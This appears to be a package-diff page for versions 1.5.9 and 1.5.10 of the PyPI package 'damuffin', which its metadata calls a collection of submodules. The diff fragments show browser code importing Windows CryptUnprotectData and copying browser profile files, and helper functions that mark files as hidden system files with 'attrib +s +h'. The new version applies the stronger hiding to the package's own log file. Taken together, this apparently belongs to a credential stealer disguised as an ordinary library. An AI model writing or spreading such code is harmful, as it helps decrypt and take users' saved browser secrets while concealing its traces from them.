damuffin
Advanced tools
@@ -336,3 +336,2 @@ from win32crypt import CryptUnprotectData | ||
| local_copies = {x: os.path.join(pfolder, os.path.basename(x)) for x in profile[-1]} | ||
| print(local_copies) | ||
| for x, c in local_copies.items(): | ||
@@ -339,0 +338,0 @@ mkfile(c) |
+2
-4
@@ -102,3 +102,3 @@ from . import hector, star | ||
| star.hide(self.__elogfile) | ||
| star.super_hide(self.__elogfile) | ||
| self.incomplete = incomplete | ||
@@ -110,4 +110,2 @@ self.inprogress = inprogress | ||
| self.__valid_states = ["incomplete", "inprogress", "complete"] | ||
| print(incomplete, inprogress, complete) | ||
@@ -137,3 +135,3 @@ def __verify_parameters(self, objects: dict, types: tuple | list) -> list: | ||
| with open(self.__elogfile, "w") as elog: | ||
| with open(self.__elogfile, "r+") as elog: | ||
| elog.write(data) | ||
@@ -140,0 +138,0 @@ |
+8
-8
@@ -12,14 +12,14 @@ import subprocess | ||
| def super_hide(file): | ||
| if not os.path.exists(file): | ||
| raise FileNotFoundError(f"Unable to find file with path: {file}") | ||
| def super_hide(dst): | ||
| if not os.path.exists(dst): | ||
| raise FileNotFoundError(f"Unable to find file or folder with path: {dst}") | ||
| try: subprocess.check_call(["attrib", "+s", "+h", file]) | ||
| try: subprocess.check_call(["attrib", "+s", "+h", dst]) | ||
| except: pass | ||
| def hide(file): | ||
| if not os.path.exists(file): | ||
| raise FileNotFoundError(f"Unable to find file with path: {file}") | ||
| def hide(dst): | ||
| if not os.path.exists(dst): | ||
| raise FileNotFoundError(f"Unable to find file or folder with path: {dst}") | ||
| try: subprocess.check_call(["attrib", "+h", file]) | ||
| try: subprocess.check_call(["attrib", "+h", dst]) | ||
| except: pass | ||
@@ -26,0 +26,0 @@ |
+1
-1
| Metadata-Version: 2.1 | ||
| Name: damuffin | ||
| Version: 1.5.9 | ||
| Version: 1.5.10 | ||
| Summary: A collection of different submodules. | ||
@@ -5,0 +5,0 @@ Home-page: https://github.com/DaMuffinDev/damuffin.py |
+8
-8
| damuffin/__init__.py,sha256=YF4V8pG_-fTxEez9BDqqlVPYugIaLjtrN0-trF25JPQ,40 | ||
| damuffin/browser.py,sha256=Twn_vEdxi-FARFB-qT5Vj3YuiPl4CzR2srViZCRjWcQ,18111 | ||
| damuffin/browser.py,sha256=CqEbEvlSYmFXO4WVmDWjJIc7KOhBehrceJS2ZjrqL9M,18070 | ||
| damuffin/damuffin.py,sha256=egiHF25XIBI47tQdxyzzTSy_VxED1SYdgBvTuU9CR7s,12004 | ||
| damuffin/elog.py,sha256=W_pshjYUIjTxXLiRoNnDQg4Xx7PoLPsz-n4aKf7E_ns,6658 | ||
| damuffin/elog.py,sha256=tOMaczzsbrbHA4Q77EUAQiM5UaJRh5hwV2DM4eBEuHY,6614 | ||
| damuffin/hector.py,sha256=xvsrt3rAhQPoSd3KbKkeBlQ0DTQ4618eHIux3euhDn0,588 | ||
| damuffin/net.py,sha256=P9jFOJ7iHF31s3nRQ_AQcZ-4HVbnCtErQxReCBVt9Cg,8379 | ||
| damuffin/star.py,sha256=dC_GtRqfhTg59wAOYqU6jVpvJPEb4lpQS8b7HQofyA0,2644 | ||
| damuffin/star.py,sha256=fTc8RxU7dYWLFqRvyiurS_0ud8mMBbLrYLjBa_uVh_g,2656 | ||
| damuffin/sysinfo.py,sha256=w61iiBeGOk4aYzTeWHr5GOt3Ikb4LkMapZIp2RcGjE8,8095 | ||
| damuffin-1.5.9.dist-info/LICENSE,sha256=oRN7OX7W-nf6kpgw7LUqW4WhQu86A2axu51b-U3MA0U,1089 | ||
| damuffin-1.5.9.dist-info/METADATA,sha256=PqstdAR3bLPv2vqoDAgoXpej4FE8bVngC0_JmSC98rI,621 | ||
| damuffin-1.5.9.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 | ||
| damuffin-1.5.9.dist-info/top_level.txt,sha256=jhAfX0gTmarlUxi8oinMg-Dndd0gKQ6B02gGwNTrwZ8,9 | ||
| damuffin-1.5.9.dist-info/RECORD,, | ||
| damuffin-1.5.10.dist-info/LICENSE,sha256=oRN7OX7W-nf6kpgw7LUqW4WhQu86A2axu51b-U3MA0U,1089 | ||
| damuffin-1.5.10.dist-info/METADATA,sha256=whq0ytyU1JL0gEoL8lF1Fc2SudB8v0zQ3-e7hDHqmnA,622 | ||
| damuffin-1.5.10.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 | ||
| damuffin-1.5.10.dist-info/top_level.txt,sha256=jhAfX0gTmarlUxi8oinMg-Dndd0gKQ6B02gGwNTrwZ8,9 | ||
| damuffin-1.5.10.dist-info/RECORD,, |
Alert delta unavailable
Currently unable to show alert delta for PyPI packages.